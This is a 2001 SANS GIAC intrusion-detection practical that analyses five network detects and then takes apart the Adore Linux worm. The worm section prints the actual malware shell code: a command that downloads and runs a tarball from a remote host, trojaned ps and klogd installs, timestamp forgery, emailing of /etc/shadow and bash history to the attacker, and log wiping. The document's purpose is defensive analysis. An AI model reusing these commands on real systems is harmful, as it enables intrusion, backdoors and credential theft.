GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Network Monitoring and Threat Detection In-Depth (Security 503)"
at http://www.giac.org/registration/gcia

Clifford Yago
Practical Assignment for SANS Security Aloha II 2001
GIAC Intrusion Detection Curriculum
8 May 2001

Table of Contents

In this document, "the analyst" refers to the author of the document.

© SANS Institute 2000 - 2002, Author retains full rights.

Assignment 1 - Network Detects

Analysis No. 1

Event Traces

```
20:44:13.170205 213.245.3.200.1478 > 192.168.1.16.ftp: S 3470716478:3470716478(
0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
20:44:13.172138 192.168.1.16.ftp > 213.245.3.200.1478: S 2826718048:2826718048(
0) ack 3470716479 win 32120 <mss 1460,nop,nop,sackOK> (DF)
20:44:13.192339 213.245.3.200.1480 > 192.168.1.18.ftp: S 3470800586:3470800586(
0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
20:44:13.218430 192.168.1.18.1025 > 213.245.3.200.netbios-ns: NBT UDP PACKET(13
7): QUERY; REQUEST; UNICAST
20:44:14.236358 213.245.3.200.1478 > 192.168.1.16.ftp: . ack 1 win 17520 (DF)
20:44:14.267466 213.245.3.200.netbios-ns > 192.168.1.18.1025: NBT UDP PACKET(13
7): QUERY; POSITIVE; RESPONSE; UNICAST
20:44:14.440107 192.168.1.16.1077 > 213.245.3.200.auth: S 2823585608:2823585608
(0) win 32120 <mss 1460,sackOK,timestamp 9170221 0,nop,wscale 0> (DF)
20:44:14.723138 213.245.3.200.auth > 192.168.1.16.1077: R 0:0(0) ack 2823585609
 win 0
20:44:15.110620 192.168.1.16.ftp > 213.245.3.200.1478: P 1:92(91) ack 1 win 321
20 (DF) [tos 0x10]
20:44:15.562926 213.245.3.200.1478 > 192.168.1.16.ftp: . ack 92 win 17429 (DF)
20:44:15.574613 213.245.3.200.1478 > 192.168.1.16.ftp: P 1:17(16) ack 92 win 17
429 (DF)
20:44:15.574937 192.168.1.16.ftp > 213.245.3.200.1478: . ack 17 win 32120 (DF)
[tos 0x10]
20:44:15.633648 192.168.1.16.ftp > 213.245.3.200.1478: P 92:160(68) ack 17 win
32120 (DF) [tos 0x10]
20:44:15.874965 213.245.3.200.1478 > 192.168.1.16.ftp: P 17:38(21) ack 160 win
17361 (DF)
20:44:15.890170 192.168.1.16.ftp > 213.245.3.200.1478: . ack 38 win 32120 (DF)
[tos 0x10]
20:44:15.987204 192.168.1.16.ftp > 213.245.3.200.1478: P 160:208(48) ack 38 win
 32120 (DF) [tos 0x10]
20:44:16.198792 213.245.3.200.1480 > 192.168.1.18.ftp: S 3470800586:3470800586(
0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
20:44:16.858783 213.245.3.200.1478 > 192.168.1.16.ftp: P 38:49(11) ack 208 win
17313 (DF)
20:44:16.870171 192.168.1.16.ftp > 213.245.3.200.1478: . ack 49 win 32120 (DF)
[tos 0x10]
20:44:20.397553 192.168.1.16.ftp > 213.245.3.200.1478: P 734:775(41) ack 225 wi
n 32120 (DF) [tos 0x10]
20:44:20.633109 213.245.3.200.1478 > 192.168.1.16.ftp: F 225:225(0) ack 775 win
 16746 (DF)
20:44:20.633436 192.168.1.16.ftp > 213.245.3.200.1478: . ack 226 win 32120 (DF)
 [tos 0x10]
20:44:20.640663 192.168.1.16.ftp > 213.245.3.200.1478: P 775:812(37) ack 226 wi
n 32120 (DF) [tos 0x10]
20:44:20.645745 213.245.3.200.1478 > 192.168.1.16.ftp: R 3470716704:3470716704(
0) win 0 (DF)
20:44:20.897405 213.245.3.200.1478 > 192.168.1.16.ftp: R 3470716704:3470716704(
0) win 0
20:44:20.909268 213.245.3.200.1478 > 192.168.1.16.ftp: R 3470716704:3470716704(
0) win 0
20:44:22.205730 213.245.3.200.1480 > 192.168.1.18.ftp: S 3470800586:3470800586(
0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
```

1. Source of Trace:

© SANS Institute 2000 - 2002, Author retains full rights.

The traces were collected from the analyst's corporate network which has a full-time connection to the public Internet

2. Detect was generated by:

The detect was generated by tcpdump version 4.7.

3. Probability that the source address was spoofed:

The probability of a spoofed source address is low. The completion of three-way handshakes between 213.245.3.200 and the destination hosts supports this assertion.

4. Attack description:

The attack is against TCP port 21. The attack host is scanning for hosts running the ftp service. Once the attacker has identified a host running the ftp service, it attempts to log in and perform ftp operations as described in the "Attack mechanism" section.

5. Attack mechanism:

The attack begins with a reconnaissance attempt. The attack host 213.245.3.200 is scanning the corporate network for hosts running the ftp service. 192.168.1.16 is a Red Hat Linux 7.0 machine running the ftp service and appropriately responds with a SYN/ACK to 213.245.3.200's SYN packet. However, 192.168.1.18 is a Windows 95 machine not running the ftp service and responds with a RST/ACK. It subsequently performs a NetBIOS name query to learn more about the attack host. Interestingly, the attack host responds with an answer to the NetBIOS name query.

This has given the analyst some idea of the attack host's operating system. The attack host is either a Windows machine (high probability) or a Unix machine running Samba (a possibility). Machines not running the NetBIOS services will respond with an ICMP UDP port unreachable message. NetBIOS queries and answers and ICMP port unreachable responses can be affected by the firewall policy of the queried host's network.

The attack host successfully establishes an ftp connection with the Red Hat Linux machine and logs in as the anonymous user. Peering into the tcpdump logs with the -X option (new ascii decoding option in tcpdump 4.7) reveals the motives of the attack host:

```
20:44:16.858783 213.245.3.200.1478 > 192.168.1.16.ftp: P 38:49(11) ack 208 win
17313 (DF)
0x0000  4500 0033 61b3 4000 6d06 2795 d5f5 03c8      E..3a.@.m.'.....
0x0010  3faf 6b10 05c6 0015 cede ee64 a87c 4c30      ?.k........d.|L0
0x0020  5018 43a1 ca80 0000 4357 4420 2f70 7562      P.C.....CWD./pub
0x0030  2f0d 0a                                      /..
20:44:16.870171 192.168.1.16.ftp > 213.245.3.200.1478: . ack 49 win 32120 (DF)
[tos 0x10]
0x0000  4510 0028 0800 4000 4006 ae43 3faf 6b10      E..(..@.@..C?.k.
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
0x0010  d5f5 03c8 0015 05c6 a87c 4c30 cede ee6f      .........|L0...o
0x0020  5010 7d78 f608 0000                          P.}x....
20:44:16.889526 192.168.1.16.ftp > 213.245.3.200.1478: P 208:237(29) ack 49 win
32120 (DF) [tos 0x10]
0x0000  4510 0045 0801 4000 4006 ae25 3faf 6b10      E..E..@.@..%?.k.
0x0010  d5f5 03c8 0015 05c6 a87c 4c30 cede ee6f      .........|L0...o
0x0020  5018 7d78 187f 0000 3235 3020 4357 4420      P.}x....250.CWD.
0x0030  636f 6d6d 616e 6420 7375 6363 6573 7366      command.successf
0x0040  756c 2e0d 0a                                 ul...
20:44:17.207181 213.245.3.200.1478 > 192.168.1.16.ftp: P 49:68(19) ack 237 win
17284 (DF)
0x0000  4500 003b 61d0 4000 6d06 2770 d5f5 03c8      E..;a.@.m.'p....
0x0010  3faf 6b10 05c6 0015 cede ee6f a87c 4c4d      ?.k........o.|LM
0x0020  5018 4384 fa1a 0000 4d4b 4420 3031 3033      P.C.....MKD.0103
0x0030  3130 3037 3531 3334 700d 0a                  10075134p..
20:44:17.212864 192.168.1.16.ftp > 213.245.3.200.1478: P 237:300(63) ack 68 win
32120 (DF) [tos 0x10]
0x0000  4510 0067 0802 4000 4006 ae02 3faf 6b10      E..g..@.@...?.k.
0x0010  d5f5 03c8 0015 05c6 a87c 4c4d cede ee82      .........|LM....
0x0020  5018 7d78 0143 0000 3535 3020 3031 3033      P.}x.C..550.0103
0x0030  3130 3037 3531 3334 703a 2050 6572 6d69      10075134p:.Permi
0x0040  7373 696f 6e20 6465 6e69 6564 206f 6e20      ssion.denied.on.
0x0050  7365                                         se
```

The attack host is attempting to create a directory in well-known ftp directories. In the above trace the attack host changes working directory to /public but is unable to make a directory there since the anonymous user doesn't have the proper directory permissions. The same actions are attempted on other directories including /public, /incoming, and /upload.

The ftp commands are being executed within a second. This indicates the commands are not being issued by a human user. The attack is an automated process to locate available ftp servers where files will systematically be uploaded. Files to be uploaded could include warez, pornographic content, and executables and source code for worm attacks. The file originator maintains anonymity by exploiting storage on available ftp servers.

6. Correlations:

A similar attack is documented on p. 147 of the "Intrusion Detection: Signature and Analysis Parts 1 & 2 SANS" textbook. A major difference is that the attack described on p. 147 involves ftp commands issued from a "human" user. As much as three seconds elapse between ftp commands. In the above attack multiple ftp commands are being executed in less than a second. It is a highly automated process of scanning for ftp servers, finding well-known directories, and attempting to create a new directory in them.

7. Evidence of active targeting:

Yes, two hosts on the corporate network were probed for ftp services. The attack host's logging in and issuing of ftp commands on the Red Hat Linux 7.0 machine provide evidence of active targeting.

8. Severity:

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

(4+2)-(5+1) = 0

The attack is unsuccessful in creating new directories and uploading files since the directories were applied with the appropriate permissions. However, the attacker is successful in identifying an ftp server on the corporate network and may use this knowledge to return with a more sophisticated ftp-based attack.

9. Defensive recommendation:

The Red Hat Linux 7.0 machine doesn't need to host ftp services. Therefore the ftp service needs to be disabled.

10. Multiple choice question:

Which of the following elements in a packet trace most likely provides a useful clue in differentiating an automated attack and one that relies on human input?

a) Source address
b) Source port
c) TCP sequence number
d) Timestamp

Answer: d. Studying the timestamps of packet traces is a simple and useful method of determining whether or not an attack has been automated or is composed of commands issued from a human user. An automated attack can execute multiple actions in less than a second. An attack relying on manual input from a human user will be logged with event records having time intervals spanning several seconds.

Analysis No. 2

Event Traces

```
Jan 16 10:49:09 205.188.160.121:80 -> 192.168.2.157:1538 UNKNOWN
*1**R*** RESERVEDBITS
```

1. Source of Trace:

The traces were collected from the analyst's internal corporate network.

2. Detect was generated by:

The detect was generated by Snort version 1.6. Packet traces were generated by tcpdump version 4.7.

3. Probability that the source address was spoofed:

© SANS Institute 2000 - 2002, Author retains full rights.

The probability of a spoofed source address is low. The HTTP connection associated with this detect is established with a complete three-way handshake.

4. Attack description:

Possible exploitation of destination host's handling of reserved bits in the TCP flag byte.

5. Attack mechanism:

A host on the corporate network established an HTTP session with an America Online web server: 205.188.160.121 www1.aol.com. During the session's TCP connection termination process the web server sends a RST packet to the client host. A reserved bit in the packet's TCP flag is set. This triggers a scanning alert in Snort.

Correlations with this type of packet trace are found in practicals written by Scott Kramer (GIAC 0134) and John Springer (GIAC 0184). From the practicals, reasons attributed to this alert include probing activity, faulty equipment, and denial of service attack.

A closer look at the traces, however, shows that the client host, not the web server performs the stimulus to the RST packet and consequent Snort alert.

A normal TCP connection termination process involves both client and server sending FIN and ACK segments. However the following tcpdump output shows otherwise:

```
10:48:21.279560 205.188.160.121.www > 192.168.2.157.1538: FP
226:627(401) ack 1484 win 34944 (DF)
10:48:21.279809 192.168.2.157.1538 > 205.188.160.121.www: . ack 628 win
8110 (DF)
10:48:21.284055 192.168.2.157.1538 > 205.188.160.121.www: F
1484:1484(0) ack 628 win 8110 (DF)
10:48:23.922695 192.168.2.157.1538 > 205.188.160.121.www: F
1484:1484(0) ack 628 win 8110 (DF)
10:48:24.088357 205.188.160.121.www > 192.168.2.157.1538: RW
2175838213:2175838213(0) win 0 (DF)
```

There is no ACK of the client's passive close. It retransmits a FIN/ACK after the timeout period and receives a RST (with reserved bit set) from the web server. The client host actually performs the stimulus (retransmitted FIN/ACK) and the web server performs the response (RST with reserved bit) that manifests in a Snort alert. What is the reason behind this?

The cause of the web server's failure to send an ACK to the client's FIN/ACK must be identified first. The probability of a lost ACK is low since the context of the traces shows a reliable connection.

The detect seems to be common to web servers. Certain implementations of HTTP servers rely on buffering optimizations to improve network utilization and overall server

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

performance. One technique involves the queuing of data into a socket buffer and then closing the socket. The server is able to write data to the send queue faster than the socket's ability to transmit data to the client. With data queued in the buffer the server can also calculate the last segment of data to be pushed and piggyback a FIN. There is an example of this in the tcpdump output above where the server has set the FIN/PSH flags in the final segment of data it transmits.

Similar functionality to the above technique can be obtained from certain implementations of the sendfile() system call. A special "close" socket option is set in concert with the usage of sendfile().

In either technique, the server socket is closed before the client has an opportunity to send its FIN/ACK. This may have a higher probability occurring in large file transfers. The RST is a response to the client's FIN/ACK of a connection that no longer exists from the server's standpoint.

The client acts like a probing host by sending what appears to the web server as a single FIN packet to port 80. The normal behavior whenever a single FIN packet is sent to an open port is not to respond. The TCP/IP implementation on the web server is incorrect in sending the RST packet. AOL is known to use Irix based servers to host web content. The Irix operating system's TCP/IP stack is known to respond with RST when a single FIN packet is sent to an open port. This characteristic is exploited in port probing and OS fingerprinting. The setting of the reserved bit may be unique to Irix's TCP/IP implementation.

The detect was generated by the following factors:

1. The web server's buffering optimization technique closed the server socket before (perhaps due to a large file transfer) the client could correctly respond with a FIN/ACK.

2. The web server's incorrect TCP/IP implementation caused a RST with reserved bit packet to be sent when the client retransmitted a FIN/ACK.

6. Correlations:

Correlations with this detect are found in practicals written by Scott Kramer (GIAC 0134) and John Springer (GIAC 0184).

7. Evidence of active targeting:

There is no evidence of active targeting. The scanning alert generated by Snort is a false positive.

8. Severity:

(2 + 1) - (5 + 4) = -6

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

9. Defensive recommendation:

No defensive action is required.

10. Multiple choice question:

When a host terminates a TCP connection by sending a FIN which of the following is a normal response that needs be sent by the other host?

a) RST
b) PSH
c) FIN/ACK
d) No response

Answer: c. The other host will normally respond with a FIN/ACK to complete the TCP connection termination process.

Analysis No. 3

Event Traces

```
May  2 14:19:24 nids snort[4149]: IDS204 - NT NULL session:
192.168.2.189:1041 -> 192.168.2.180:139
May  2 14:52:30 nids snort[4149]: Possible User2sid enumeration
attempt: 192.168.2.189:1041 -> 192.168.2.180:139
```

1. Source of Trace:

The traces were collected from the analyst's internal corporate network. The attacks were initiated by the analyst on test systems. This activity was part of a project to secure NT machines.

2. Detect was generated by:

Detect was generated by Snort version 1.6. The analyst created a new Snort signature to identify the usage of an attack tool. NetXRay version 2.5 was used for packet analysis in developing the signature. NetXRay has an excellent capability of decoding NetBIOS traffic.

3. Probability that the source address was spoofed:

The probability of the source address being spoofed is low. For this attack to be successful, reconnaissance data will need to be sent to the source host.

4. Attack description:

© SANS Institute 2000 - 2002, Author retains full rights.

The attack exploits null sessions to gather security information from NT machines. The NetBIOS services running on TCP port 139 are utilized in this attack. The attack tools are the user2sid and sid2user utilities written by Evgenii Rudnyi.

5. Attack mechanism:

Tools such as user2sid, sid2user, and Somarsoft's dumpsec (formerly dumpacl) require an anonymous login to an NT machine in order to acquire security information. This type of login is also known as a null session. Anonymous logins can be restricted by modifying a Windows registry setting. When this registry setting is made common enumeration functions such as listing user accounts are restricted to authenticated users only. This effectively defeats tools such as dumpsec. However, there are Win32 programming interfaces that allow individual user account lookups regardless of the restricted anonymous login setting. User2sid and sid2user take advantage of two such functions: LsaLookupNames and LsaLookupSids.

Since there is no current fix for this vulnerability, a means of detecting a remote or internal host using these tools is important. Remote connections to NetBIOS service ports can be blocked by a firewall to prevent outsider usage of user2sid and sid2user against internal NT machines. However, blocking NetBIOS ports is not possible within a corporate LAN where NT machines rely on NetBIOS to interoperate.

Snort version 1.6 has a signature for detecting NT null sessions. An alert to a null session establishment will provide the first sign of a user account enumeration effort. However, an intrusion analyst will have an additional advantage if notified of the "type" of tool that is utilized once a null session is established.

User2sid is used first to gain a unique security identifier (SID) from an NT machine. User accounts and groups have unique SID values. By supplying user2sid with the name of a default group such as "domain users" a SID can be obtained from a targeted NT machine. The last number preceded by a hyphen in the SID value represents the relative identifier (RID). User accounts can be enumerated for a given domain by altering the relative identifier of a SID obtained with user2sid and supplying this "new" SID value as an argument to sid2user.

Armed with a list of user accounts an attacker can proceed with password cracking attempts.

Since the execution of user2sid is vital to the success of the attack, an effort was made to write a Snort signature that would alert its usage. The following Snort rule was written by the analyst:

```
alert tcp any any -> $HOME_NET 139 (msg:"Possible User2sid enumeration
attempt";
 flags:PA; content: "|7D 00 00 5C 00 50 00 49 00 50 00 45|";)
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

The signature content is in the second SMB transaction that is sent from the source host running the user2sid tool.

6. Correlations:

Null sessions are discussed on pp. 314-317 of the "Intrusion Detection: Signatures and Analysis Parts 1 & 2" SANS textbook for the Intrusion Detection Immersion Curriculum.

7. Evidence of active targeting:

A combination of an NT null session and User2sid enumeration attempt constitutes active targeting.

8. Severity:

(4 + 2) - (4 + 4) = -2

9. Defensive recommendation:

Current firewall policy prevents remote connections to NetBIOS service ports from the public Internet. NT machines have the restrict anonymous login set in the Windows registry. Must ensure strong passwords are set on user accounts.

10. Multiple choice question:

Which of the following can be gained through an NT null session:

a) user account list
b) password properties
c) security identifier values
d) all of the above

Answer: d. NT null sessions and usage of tools such as dumpsec, user2sid, and sid2user can provide large amounts of NT security information.

Analysis No. 4

Event Traces

```
 Feb 13 15:24:40 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.94:137
Feb 13 15:24:40 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.94:137
Feb 13 15:13:13 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.26:137
Feb 13 15:08:44 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.111:137
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
Feb 13 15:07:54 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.232:137
Feb 13 15:06:00 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.232:137
Feb 13 15:58:50 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.147:137
(cut for brevity)
Feb 13 22:41:20 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.144:137
Feb 14 00:28:41 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.198:137
Feb 14 00:30:31 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.99:137
Feb 14 06:59:41 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.181:137
Feb 14 07:11:07 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.249:137
Feb 14 07:26:34 nids snort[30116]: SMB Name Wildcard: 10.70.25.105:137
-> 192.168.2.220:137
```

1. Source of Trace:

The traces were collected from the analyst's internal network.

2. Detect was generated by:

The detect was generated by Snort version 1.6.

3. Probability that the source address was spoofed:

The probability of a spoofed source address is low. The source host is attempting to gather information from destination hosts, so a spoofed address makes no sense.

4. Attack description:

Exploit of UDP port 137, the NetBIOS name service port. The name service can provide a variety of information regarding the queried host including computer name, file and print shares, and Microsoft WINS information.

5. Attack mechanism:

At first glance, the source host 10.70.25.105 seems to be targeting random hosts with SMB name wildcard queries.

The source host is actually on a "friendly" network that is directly connected with a high speed connection to the analyst's LAN 192.168.2.0/24. This accounts for the source host's private IP address from the net 10 block. The friendly network belongs to a business partner. The business partner provides Internet access service to the 192.168.2.0/24 network.

© SANS Institute 2000 - 2002, Author retains full rights.

Since all traces have a UDP source port 137, the 10.70.25.105 host is most likely a Windows machine. Why would a host on the partner network be querying hosts on the 192.168.2.0/24 network?

The hosts being queried are PC workstations running Windows or Linux. Random or sequential scanning doesn't seem to be the case, since the hosts being targeted are only Windows or Linux PCs. A variety of non-Windows and non-Linux hosts are running on the network. This indicates prior knowledge of target addresses as opposed to "guessing" target addresses.

The time pattern of the alerts is of interest. In the above trace alerts appear during the day and disappear shortly after midnight. Alerts do not appear again until about 0700 the next morning. The alerts continue throughout the day. The time pattern of alerts seems to correspond to the work schedule of users. The last shift of users leaves after midnight and the first wave of users arrives in the morning around 0600 to 0700.

The queried hosts seem to be creating a common stimulus that in turn causes 10.70.25.105 to respond with an SMB name wildcard query. A phone call to an administrator of the partner network was made.

The administrator stated that an evaluation version of the SurfControl SuperScout web filtering software had been installed on 10.70.25.105 about the time Snort began reporting the SMB name wildcard alerts. Surfcontrol SuperScout software enforces web access policies, monitors web access, and generates web usage reports.

The common stimulus eliciting 10.70.25.105 to respond with SMB name wildcard queries is web browsing from PC workstations. 10.70.25.105 is gathering information about the PC workstations and using this collected data to build web usage reports.

6. Correlations:

Exploitation of NetBIOS name services are discussed on pp. 310-313 of the "Intrusion Detection: Signatures and Analysis Parts 1 & 2" SANS textbook for the Intrusion Detection Immersion Curriculum.

7. Evidence of active targeting:

Yes, the host 10.70.25.105 is actively targeting hosts in the 192.168.1.0/24 network. It is interested in collecting information on hosts that are browsing the web.

8. Severity:

(2 + 2) - (4 + 1) = -1

9. Defensive recommendation:

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Install a firewall at the ingress between the partner network and analyst's network and restrict traffic directed at NetBIOS service ports. A "flight recorder system" that will continuously log network traffic such as tcpdump needs to be installed on the analyst's network. Such a tool would have been helpful in identifying the type of information that was transmitted to the querying host. This will provide a forensics mechanism to perform damage assessment on attacks.

10. Multiple choice question:

When analyzing NetBIOS querying activity which of the following queried host characteristics provide a useful clue in determining whether or not a querying stimulus is being created:

a) Operating system
b) Applications
c) Network services
d) All of the above

Answer: d. Identifying commonalities in queried hosts such as operating systems, applications and general usage provide useful clues in determining whether or not a stimulus from the queried hosts is eliciting the querying activity.

Analysis No. 5

Event Traces

```
Apr  1 21:58:21 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:1937
-> 192.168.1.5:515
Apr  1 21:58:22 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:2038
-> 192.168.1.5:515
Apr  1 21:58:23 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:2256
-> 192.168.1.5:515
Apr  1 21:58:23 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:2344
-> 192.168.1.5:515
Apr  1 22:00:58 tux01 last message repeated 47 times
```

1. Source of Trace:

The traces were collected from the analyst's corporate network which has a full-time connection to the public Internet

2. Detect was generated by:

Detect was generated by Snort version 1.7. Packet traces were collected with tcpdump version 4.7.

3. Probability that the source address was spoofed:

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

The probability of a spoofed source address is low. The attack host establishes a TCP connection with a three-way handshake. Relying on this connection, the attack host runs exploits against TCP service ports and executes arbitrary code on compromised hosts.

4. Attack description:

Attack against TCP port 515, the LPRng service. There is a known LPRng vulnerability in certain versions of Red Hat Linux that involve a string format bug. This can be exploited to gain root shell access. This attack is the "Adore" worm.

5. Attack mechanism:

The attack begins with scanning of the corporate network to identify hosts running the LPRng service. This is done by sending SYN packets to destination port 515. Once a host is identified, the attack host runs exploit code against the LPRng service port to take advantage of the string format bug. If the exploit is successful, a backdoor is created on TCP port 3879 which offers a connecting host root privileges. The attack host will then make a connection to port 3879 and gain root privileges.

Once root shell access is gained, the worm code is downloaded from a web site and executed. Operations including replacement of binaries, emailing of the host's security information, creation of a backdoor, and worm propagation are next to follow. The mechanisms of the Adore worm are further discussed in the "Analyze an Attack" section.

The LPRng exploit worked in compromising the 192.168.1.5 host. The Adore worm has also been known to exploit BIND, wu-ftpd, and rpc-statd vulnerabilities.

6. Correlations:

The analyst submitted Adore worm reports to SANS GIAC when the Adore worm was released about April 1. The analyst corresponded with incident handler Matt Fearnow.

Comprehensive information on the Adore worm can be found at http://www.sans.org/y2k/adore.htm.

CVE-2000-0917: LPRng 3.6.24 format string vulnerability.

CAN-2001-0012 : BIND 4 and BIND 8 stack information vulnerability.

CAN-2000-0573: lreply function in wu-ftpd 2.6.0 vulnerability.

The Adore worm is similar to two previous Linux worms, Ramen and Lion.

7. Evidence of active targeting:

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Yes, an initial targeting effort was made in identifying machines running the LPRng service. A machine was identified, subjected to LPRng exploits, and compromised.

8. Severity:

(4 + 5) – (1 + 2) = 6

9. Defensive recommendation:

Disable services not required including LPRng, BIND, FTP, and rpc-statd.

10. Multiple choice question:

The Adore worm scans networks to identify candidate hosts for attacks. It sends SYN packets at specific TCP service ports. Which of the following is not a port associated with scans performed by the Adore worm?

a) 111
b) 25
c) 53
d) 515

Answer: b. The Adore worm has not been known to exploit any SMTP-related vulnerabilities

Assignment 2 - Evaluate an Attack

Adore Worm Introduction

The attack tool selected for evaluation is the Adore worm. The Adore worm began spreading across the public Internet about April 1, 2001. The analyst submitted a report to SANS GIAC based on findings on a host compromised by the Adore worm. This report is posted at http://www.sans.org/y2k/040401.htm. Analysis was performed on Snort logs as well as tcpdump packet traces. Since the report was submitted source code for the Adore worm was obtained and analyzed.

Operation and Internals

The URL for the Adore worm package is a Chinese web site: http://go.163.com/~hotcn/red.tar The red.tar tarball contains a total of thirty-three files. Among these files are shell scripts, C source, and binary executables.

The attack begins with scanning activity of random class B networks. Hosts running rpc-statd, LPRng, and BIND are identified and logged. The objective is to exploit vulnerabilities in these services and gain root shell privileges on a host.

© SANS Institute 2000 - 2002, Author retains full rights.

When a root shell is gained the following code is run:

(from .backdoor shell script file)

```
TERM="linux"
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin"
lynx -dump http://go.163.com/~hotcn/red.tar >/usr/lib/red.tar
[ -f /usr/lib/red.tar ] || exit 0
cd /usr/lib;tar -xvf red.tar;rm -rf red.tar;cd lib;./start.sh
```

The first order of business is to setup environment variables. Next the Unix browser lynx retrieves the red.tar tarball from the Chinese website. The tarball is downloaded into /usr/lib/, untarred, and removed. Shell script "start.sh" sets up worm operations:

```
if [ -f /usr/lib/klogd.o ]; then
echo >/var/log/messages
rm -rf ../lib
exit 0
fi
```

Existence of /usr/lib/klogd.o is checked first. If /usr/lib/klogd.o exists, the system has already been compromised by the Adore worm and this new instance of the worm is terminated after removing /usr/lib/lib and its contents and clearing the messages log file.

```
cc -o icmp icmp.c 1>>/dev/null 2>>/dev/null 3>>/dev/null
```

The icmp "sekure ping backdoor" package is compiled. Sekure ping backdoor provides a root shell to allow connections when an echo request ICMP packet of a certain datagram size is directed at a specific port.

Two macros in the icmp.c file reveal these requirements:

```
#define SIZEPACK 77
#define PORT     65535
```

A ping directed at port 65535 with a packet size of 77 bytes will make the sekure ping backdoor operational.

```
cc -o ps ps.c;cp /bin/ps /usr/bin/adore;cp ps /bin;touch -r
/usr/bin/adore /bin/ps
```

A trojaned version of the binary ps is compiled and installed. The original version of ps is moved to /usr/bin/adore. The purpose of the "new" ps is to suppress the display of worm-related processes.

The following is an interesting excerpt from ps.c, the C source file for "fake_ps".

```
char *lns[nr] = { /* fill in what you'd- */
"/bin/sh -i", /* like to be removed */
"xargs",
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
".bla",
"cat",
"./pscan",
```
…(cut for brevity)
}

Note the comment associated with the above char array. A worm developer with minimal C programming knowledge can simply add names of malicious processes to the elements of this array and create a new version of fake_ps that will satisfy the process list hiding needs of a new worm attack.

```
cp /etc/cron.daily/0anacron 0anacron-bak >>/dev/null 2>>/dev/null;cp
0anacron /etc/cron.daily
```

The cron file /etc/cron.daily is replaced with 0anacron. This file contains commands to restore the original ps binary to the /bin directory, remove worm-related files, and reboot the system. Cron.daily is run at 0402 local time.

```
chown root.root /etc/cron.daily/0anacron /bin/ps /usr/bin/adore
rm -rf /dev/.lib 1>>/dev/null 2>>/dev/null 3>>/dev/null
```

Housekeeping duties are performed including file ownership changes and removal of files.

```
echo ftp >>/etc/ftpusers;echo anonymous >>/etc/ftpusers;
```

Two new users, ftp and anonymous, are added to the ftp service access control list.

```
killall -9 rpc.statd 1>>/dev/null 2>>/dev/null 3>>/dev/null
killall -9 rpc.rstatd 1>>/dev/null 2>>/dev/null 3>>/dev/null
killall -9 lpd 1>>/dev/null 2>>/dev/null 3>>/dev/null
if [ -f /sbin/klogd ]; then
killall -9 klogd 1>>/dev/null 2>>/dev/null 3>>/dev/null
```

rpc-statd, LPRng, and klogd processes that have been running prior to the worm's infiltration are terminated.

```
cp /sbin/klogd /usr/lib/klogd.o;cp icmp /sbin/klogd
```

The sekure ping backdoor package is installed by moving the original kernel logging daemon binary /sbin/klogd into /usr/lib/klogd.o and placing the icmp file in its place.

```
touch -r /usr/lib/klogd.o /sbin/klogd;chown root.root /sbin/klogd
/usr/lib/klogd.o
```

The timestamp of the /sbin/klogd backdoor file is updated with the timestamp of the original klogd to thwart auditing attempts based on file timestamp comparisons.

```
klogd
```

© SANS Institute 2000 - 2002, Author retains full rights.

The sekure ping backdoor binary is executed.

```
echo /*************************HOST IP*****************************/
>mail.txt
ifconfig >>mail.txt
echo /*************************PS*******************************/
>>mail.txt
adore -aux >>mail.txt
echo /************************HISTORY*****************************/
>>mail.txt
cat /root/.bash_history >>mail.txt
echo /************************HOSTS*******************************/
>>mail.txt
cat /etc/hosts >>mail.txt
echo /************************PASSWD******************************/
>>mail.txt
cat /etc/shadow >>mail.txt
mail.sh
echo >/var/log/maillog
echo >/var/log/messages
rm -rf go* mail.txt
./start
```

System information from the compromised host is emailed to adore9000@21cn.com and adore9000@sina.com. Output of ifconfig and adore –aux (original ps) and contents of /root/.bash_history, /etc/hosts, and /etc/shadow are sent to the two addresses. 21cn.com is registered to 21cn Corporation Limited in China and sina.com is registered to SINANET.com in California.

In the mail.sh script notice the mail command: "`mail -s $ip adore9000@21cn.com <mail.txt`". In an effort to hide the email activity, the mail command –s option is used to specify deletion of the mail message from the default mailbox.

The maillog and messages log files are cleared. Files associated with creating the contents of the emails are removed.

If an error condition arises in the above commands of the start.sh script, a subset of the commands is executed. These actions include system information emailing, sekure ping backdoor installation, log file clearing, and file removals.

```
./start
```

